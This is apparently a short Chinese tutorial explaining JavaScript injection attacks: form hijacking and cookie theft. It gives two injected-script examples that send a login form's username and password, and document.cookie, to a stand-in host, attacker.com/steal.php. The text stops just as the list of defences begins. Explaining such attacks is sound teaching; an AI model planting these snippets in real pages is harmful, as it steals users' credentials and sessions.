什么是JavaScript注入攻击?

2023年5月19日下午6:07 • JavaScript

JavaScript注入攻击是指攻击者通过篡改网页中的JavaScript代码，向网站注入恶意的JavaScript语句，从而实现对网站的攻击行为。此种攻击手段常被黑客用于窃取、篡改或者删除网站中的个人信息、交易记录等敏感信息。

攻击者通过JavaScript注入攻击，可以在用户访问受攻击网站时，进行一下常见的攻击行为:

劫持网站表单：攻击者通过JavaScript注入攻击，在用户提交表单时，直接修改表单中的内容，并将其提交到服务器。这意味着，攻击者可以用来窃取用户的用户名称和密码，或者在用户不知情的情况下申请信用卡等敏感信息。
窃取Cookie：当用户在受攻击网站登录时，浏览器会自动保存用户的Cookie。攻击者可以通过JavaScript注入攻击，窃取保存在浏览器中的Cookie信息，从而实现对用户账户的窃取行为。

代码示例1：以下是在登录表单中注入攻击代码的演示

<form action="/" method="POST">
   <input type="text" name="username" placeholder="User name">
   <input type="password" name="password" placeholder="Password">
   <input type="submit" value="Submit">
</form>

<script>
   //攻击者通过注入攻击代码，窃取用户登录信息
   document.forms[0].onsubmit = function() {
      var username = document.getElementsByName("username")[0].value;
      var password = document.getElementsByName("password")[0].value;
      var script = document.createElement("script");
      script.src = "http://attacker.com/steal.php?username="+username+"&password="+password;
      document.head.appendChild(script);
   };
</script>

在该示例中，攻击者通过在表单提交时，注入攻击代码，实现了对用户登录信息的窃取。

代码示例2：以下是直接注入攻击代码的演示

<!DOCTYPE html>
<html>
   <head>
      <title>示例</title>
   </head>
   <body>
      <h1>示例网站</h1>
      <p>这是一个示例网站，在这里您可以进行注册、登录等操作</p>
      <script>
         //攻击者通过直接注入攻击代码，窃取用户Cookie信息
         var script = document.createElement("script");
         script.src = "http://attacker.com/steal.php?cookie="+document.cookie;
         document.head.appendChild(script);
      </script>
   </body>
</html>

在该示例中，攻击者直接注入攻击代码，实现了对用户Cookie信息的窃取。

针对JavaScript注入攻击，网站作者需要注意以下几点：